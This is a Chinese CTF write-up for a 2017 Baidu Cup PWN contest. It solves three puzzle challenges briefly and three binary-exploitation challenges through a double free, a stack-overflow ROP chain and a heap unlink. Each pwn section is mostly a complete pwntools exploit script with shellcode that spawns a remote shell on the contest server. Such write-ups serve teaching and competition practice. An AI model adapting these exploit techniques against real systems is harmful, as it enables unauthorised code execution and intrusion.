【CTF攻略】2017“百度杯”二月第一场PWN专题赛WriteUp


misc 1

调戏i春秋公众号即可


misc 2

搜索一下波利比奥斯棋盘的图片,然后把数字对应转换成字母,即为flag

http://p9.qhimg.com/t010150b0a2ab2c5d91.png


misc 3

对残诗base64解码,发现是诗经里面的一首

http://p8.qhimg.com/t013a6137a95259b227.png

最后一句为“十月蟋蟀入我床下”


PWN 1  fast-fast-fast

漏洞是一个多次释放的漏洞,也可以转化为释放后重用:如图所示,释放的时候没有检查是否已经释放

http://p6.qhimg.com/t01fdf3aad572dff219.png

用思路是控制free状态的fastbin的fd指针,指向全局管理结构。首先申请一个fastbin,然后释放掉,然后再申请一个normal chunk,这时再释放掉fastbin(触发漏洞,多次释放)实际释放的是normal chunk,这时需要在normal chunk范围内构造释放状态的fastbin,可以通过申请fastbin再释放即可。然后可以通过修改normal chunk篡改释放状态的fastbin的fd指针了。改为0x00000000006C4A80,最后通过saysecret申请一次fastbin,再申请一个fastbin即可控制全局管理结构了。然后的第一个问题是无法printf泄漏内存。且没有setcontext等切换栈的rop。解决方法:通过全局管理结构构造任意内存写,把free@GOT修改为printf,这样即可内存泄漏。然后通过environ泄漏栈地址,即可直接编辑栈了。最后的一个问题是题目没有system函数。解决方法:使用我们自己开发的工具自动构造ROP即可

#!/usr/bin/python
#edit by ysyy@NeSE
from pwn import *
from time import sleep
from sys import argv
from autorop import *
 
#s = remote('127.0.0.1',4545)
s = remote('106.75.66.195',11001)
#s = remote(lhost,lport,timeout=1.5)
#context.log_level = 'debug'
sleep(0.5)
 
def fastbin():
    s.sendline('1')
    s.recvuntil('3 : deletn')
 
def normalchunk():
    s.sendline('2')
    s.recvuntil('3 : deletn')
 
def saysect():
    s.sendline('3')
 
 
 
def create(data):
    s.sendline('1')
    s.recvuntil('please input your secretn')
    s.sendline(data)
    s.recvuntil('3 : saysecretn')
 
def edit(data):
    s.sendline('2')
    s.recvuntil('please input your secrertn')
    s.send(data)
    #s.recvuntil('3 : saysecretn')
 
def delete():
    s.sendline('3')
    s.recvuntil('3 : saysecretn')
 
def show_order(num):
    s.sendline('2')
    s.recvuntil("Input the order's num:")
    s.sendline(num)
    #s.recvuntil('5. Exitn')
 
def read_it(addr):
    fastbin()
    edit(p64(1)+p64(0xF0F0)+p64(addr))
    normalchunk()
    s.sendline('3')
    ret = s.recvuntil('choose')
    ret = ret[:len(ret)-6]
    return ret
     
 
def write_it(addr,data):
    fastbin()
    edit(p64(1)+p64(0x1F0)+p64(addr))
    normalchunk()
    edit(data)
 
s.recvuntil('3 : saysecretn')
 
#fastbin , and free
fastbin()
create("a")
fastbin()
delete()
 
#normal chunk
normalchunk()
create("b")
 
#free fastbin , but actually free chunk
fastbin()
delete()
 
#depart freed normal chunk
fastbin()
create("c")
fastbin()
delete()
 
 
#edit freed fastbin
normalchunk()
edit(p64(0x6c4aa0))
 
#alloc fastbin
saysect()
 
#alloc in manage struct
fastbin()
create(p64(0x00000000006C4A80))
 
#change free to printf
write_it(0x00000000006C3750,p64(0x00000000004082A0))
stack = u64(read_it(0x00000000006C3888).ljust(8,'x00'))
print hex(stack)
 
 
exe = 'fast-fast-fast'
chain= get_rop_chain(exe,0x00000)
p=''
for _ in chain:
    p+=p64(_)
print len(p)
edit_ret = stack - 0x130
#raw_input('ggggg')
 
#context.log_level = 'debug'
#write_it(0x00000000006C3750,'aaaa')
write_it(edit_ret,p)
shellcode="x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
raw_input('ggggg')
s.send(shellcode)
s.interactive()


PWN 2  Black_hole

程序在sub_4006CC处有栈溢出,溢出长度正好能覆盖到返回地址

http://p6.qhimg.com/t01a6923bf1d8c8f445.png

可以不断return到main函数然后再次出发溢出,这样每次能往栈上写入8字节,从而进行ROP。这里选择调用execve /bin/sh,控制eax为0x3B,ebx指向/bin/sh,ecx和edx为NULL,最后调用syscall。

1. 制造syscall:

虽然没有leak的机会,但是可以通过覆写GOT的最后一字节,期望能指向syscall指令。这里选择了alarm函数,并爆破其GOT最后一字节。

2. 控制eax值:

利用read函数的返回值即可控制eax。

爆破结果为0x5时,可以成功利用 

exp如下:

from pwn import *
from time import sleep
import sys
gadget_1=p64(0x00000000004007A6)
gadget_2=p64(0x0000000000400790)
addr_got_read=0x0000000000601028
addr_bss=0x000000000601058
addr_got_alarm=0x0000000000601020
payload =gadget_1
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_got_read)#r12
payload+=p64(1)#r13rdx read num
payload+=p64(addr_got_alarm)#r14rsireadgot
payload+=p64(0x0)#r15edi read 0
payload+=gadget_2
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_got_read)#r12
payload+=p64(0x3B)
payload+=p64(addr_bss)#r14rsireadbss
payload+=p64(0x0)
payload+=gadget_2
payload+=p64(0)
payload+=p64(0)#rbx
payload+=p64(1)#rbp
payload+=p64(addr_bss+8)#r12
payload+=p64(0)
payload+=p64(0)
payload+=p64(addr_bss)
payload+=gadget_2
def write_stack(content, sec = 0.5):
    p.sendline("2333")
    sleep(sec)
    p.send(content.rjust(0x18, "a") + p64(main))
    sleep(sec)
if sys.argv[1] == "0":
    off = 0x85
    p = process("./black_hole")
    sec = 0.2
else:
    off = 5
    p = remote("106.75.66.195",  11003)
    sec = 1.5
main = 0x0000000000400704
log.info("write stack...")
for i in xrange(len(payload), 0, -8):
    print i
    write_stack(payload[i-8:i], sec)
p.sendline("2333")
sleep(sec)
p.send("a"*0x18 + p64(0x00000000004006CB))
sleep(sec)
log.info("try %s..." % hex(off))
p.send(chr(off))  # ovwer write one byte
sleep(sec)
payload2 = "/bin/shx00"
payload2 += p64(0x0000000000400540)
payload2 += (0x3B - len(payload2) - 1) * "a"
p.sendline(payload2)
p.interactive()

PWN 3 Werewolf

程序在sub_E57处存在double free

http://p4.qhimg.com/t013eff2eb585423307.png

由于可以通过add a role任意控制malloc的大小和时机,所以可以unlink来利用漏洞。过程如下:             

分配三个chunk             

free掉第2个和第3个             

malloc一个size为2、3之和的堆块,然后在chunk1和chunk3中进行内存布局再次free chunk3,造成Unlink实际过程中,还需要leak堆地址和libc地址,可以先free掉某个块,再通过show a role来leak。

Unlink后就有了任意地址写的能力,这里选择覆写free_hook为system地址,然后free掉保存有/bin/sh的堆,即可拿到shell。Exp如下:

from pwn import *
# context.log_level = "debug"
# p = process("./werewolf")
p = remote("106.75.66.195", 11002)
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("./libc-2.17.so")
def add(sz, content):
    p.sendlineafter("5.Exitn", "1")
    p.sendlineafter("size:n", str(sz))
    p.sendafter("action:n", content)
def show(idx):
    p.sendlineafter("5.Exitn", "2")
    p.sendlineafter("idn", str(idx))
def edit(idx, content):
    p.sendlineafter("5.Exitn", "3")
    p.sendlineafter("idn", str(idx))
    p.sendafter("actionn", content)
def kill(idx):
    p.sendlineafter("5.Exitn", "4")
    p.sendlineafter("idn", str(idx))
add(0x60, "/bin/shx00n")
add(0x100, "b"*0x100)
add(0x100, "c"*0x100)
add(0x100, "d"*0x100)
add(0x100, "e"*0x100)
kill(1)
kill(3)
show(1)
p.recvuntil("action : ")
main_arena = u64(p.recvuntil("n", drop = True).ljust(8, "x00")) - 88
log.info("leak : main_arena " + hex(main_arena))
show(3)
p.recvuntil("action : ")
heap = u64(p.recvuntil("n", drop = True).ljust(8, "x00"))
log.info("leak : heap " + hex(heap))
# off_main_arena = 3771136
off_main_arena = 0x3BA760
free_hook = main_arena - off_main_arena + libc.symbols["__free_hook"]
system = main_arena - off_main_arena + libc.symbols["system"]
log.info("free_hook : " + hex(free_hook))
log.info("system : " + hex(system))
# unlink
kill(2)
payload  = "f"*0x110 + p64(0) + p64(0x100) + p64(heap - 0xF8) + p64(heap - 0xF0)
payload += "f"*0xE0 + p64(0x100) + p64(0x90) + "f"*0x80 + p64(0) + p64(0x101) + "n"
add(0x300, payload)  # 5
kill(3)
# over write free_hook
edit(2, p64(0x60) + p64(free_hook) + "n")
edit(1, p64(system) + "n")
kill(0)
p.interactive()
(完)